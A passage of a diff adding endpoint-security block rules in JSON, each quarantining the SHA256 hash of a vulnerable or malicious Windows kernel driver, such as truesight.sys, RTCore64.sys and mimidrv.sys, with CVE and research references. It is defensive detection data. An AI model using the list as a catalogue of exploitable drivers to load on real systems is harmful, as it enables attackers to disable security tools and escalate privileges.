+  "id": "0684151d-6de4-527e-adf7-c98ac1e3b1eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829433Z",
+  "creation_date": "2026-03-23T11:45:31.829435Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829441Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ad1486d7f98a6c3723196c246bf6997ccac65a46c2b0eb79ff638f594bb3193",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "068d19c5-1273-56a5-81df-8df7b3d9b6e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460437Z",
+  "creation_date": "2026-03-23T11:45:30.460440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460449Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7149fbd191d7e4941a32a3118ab017426b551d5d369f20c94c4f36ae4ef54f26",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "069b5c6f-9cdb-5e03-98cd-5b855cba23cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819289Z",
+  "creation_date": "2026-03-23T11:45:31.819293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d92522c737592f306d1361c32ff88470940dd28a81ff26ce464a65d5c6b0b80a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "069be0f5-50b9-564f-b101-2d441e5020eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814631Z",
+  "creation_date": "2026-03-23T11:45:31.814634Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814643Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0636235b2705c062810212da1f50ef48a53433ca1aa27ed04b65539d219769ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "069d944e-0a8c-56cc-872d-15d7966e0a0f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150269Z",
+  "creation_date": "2026-03-23T11:45:31.150271Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150276Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b36081d2fbb90148de42923ba0fef9165e92505fe39971eea9bb544db0ce6de6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06b1e1b0-b95d-5ed5-ba98-c64b2146cf0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152010Z",
+  "creation_date": "2026-03-23T11:45:31.152013Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152021Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a5c065d6e28c1e2d58765df1753e0dbbd0d8270ee2eb777dfd33d76bf200b57",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06b39c46-093d-5e0f-aeaa-c7b862143f34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480151Z",
+  "creation_date": "2026-03-23T11:45:30.480153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5868cb3bf5d5a9237e29210218d3d93683c0e4894bc48685ac7d84a1e25e0462",
+  "comment": "Vulnerable Kernel Driver (aka IoAccesssys.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06b75643-0b71-58c6-a3d7-0dc1020a0b1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500814Z",
+  "creation_date": "2026-03-23T11:45:31.500817Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500826Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "875de01289c469352f683580a0bf2d0cb46ccb242eb78424956679b18842270e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06d7bad1-e0f4-590f-be2c-1f6e6ce0269c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154229Z",
+  "creation_date": "2026-03-23T11:45:31.154231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154236Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db31d8cc945c9871612d19f2db3b16f81fbd19efc0e710b37057f6153b4fb2c5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06da109a-4a6a-55fa-b81e-7187d7fbbe5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816090Z",
+  "creation_date": "2026-03-23T11:45:31.816093Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816101Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b439a7f4cac2b13180a145873d791e2b6f71b2e10ef7117436a1ceae17bb733",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06ddbcd6-e4c7-5d2f-9d12-0028d34a86ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828383Z",
+  "creation_date": "2026-03-23T11:45:30.828385Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828391Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58db1e62698a87fda67b49fca76baca5b5991685b22565fb83e26edef5827997",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06e48ac1-5837-5653-807c-b98c17b3be68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611184Z",
+  "creation_date": "2026-03-23T11:45:29.611186Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611191Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0ed71b491aec860932fe92e5527ef444d537b396186ac839d5ed0884cfcaf0c",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06e5551b-cad2-5391-80ad-09213f824ab8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500682Z",
+  "creation_date": "2026-03-23T11:45:31.500685Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1327894d938cb090f79aff77edb58dab33244b4158f042852b9353f4ddec3697",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06ec01ee-9855-5b31-9063-8d347cdf93c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822998Z",
+  "creation_date": "2026-03-23T11:45:30.823000Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823005Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45e5977b8d5baec776eb2e62a84981a8e46f6ce17947c9a76fa1f955dc547271",
+  "comment": "Vulnerable Kernel Driver (aka SysInfoDetectorX64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "06f304f3-94d0-5ba8-a96b-9f91c7e15916",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828689Z",
+  "creation_date": "2026-03-23T11:45:31.828691Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828697Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43dce6bb47503971e9de906e464925e35e321fb409ad20d2dc27e45ddcfe6552",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0708b8a3-4bfe-5319-925f-0f7d1d2c45c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151229Z",
+  "creation_date": "2026-03-23T11:45:31.151231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151236Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a8989fd8122bea54c9912f1171658e29a7e4f4cd5d19f899d397a706deca8208",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0713656e-1889-5974-9456-84ca4212956f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608206Z",
+  "creation_date": "2026-03-23T11:45:29.608208Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608213Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7bd50bd6388e371414ed7d36238a60d30eaa7abf539fcf6d70617405f53a0133",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0719fb7b-da47-5076-84b9-b266312d34c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480144Z",
+  "creation_date": "2026-03-23T11:45:31.480148Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480156Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ba96a1e0c038852bef36e857e1cff58576f62e59d8248da0f133414f4f9451f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07225064-f2e3-5a1c-a966-079de817f649",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974486Z",
+  "creation_date": "2026-03-23T11:45:29.974488Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974494Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62d1ca62fb251b1eeda5d2577719414e6e26d4afdc5f3df3faf3b35de5cb9506",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0740f142-db65-5cd0-8ed3-229b2f429382",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146985Z",
+  "creation_date": "2026-03-23T11:45:32.146987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "011df46e94218cbb2f0b8da13ab3cec397246fdc63436e58b1bf597550a647f6",
+  "comment": "Vulnerable Kernel Driver (aka TPwSav.sys) [https://www.loldrivers.io/drivers/c0634ed7-840e-4a7e-8b34-33efe50405c2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0744783d-46d4-542e-8ba7-284a1e9397d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466748Z",
+  "creation_date": "2026-03-23T11:45:30.466752Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466761Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a5c08d40a5e73b9fe63ea5761eaec8f41d916ca3da2acbc4e6e799b06af5524",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0748a661-bbaa-54af-a1a9-1711c94c0919",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604682Z",
+  "creation_date": "2026-03-23T11:45:29.604683Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604689Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a234a2b8eb3844f7b5831ee048f88e8a76e9d38e753cc82f61b234c79fe1660",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07522169-0903-5d7a-a258-9894793239db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
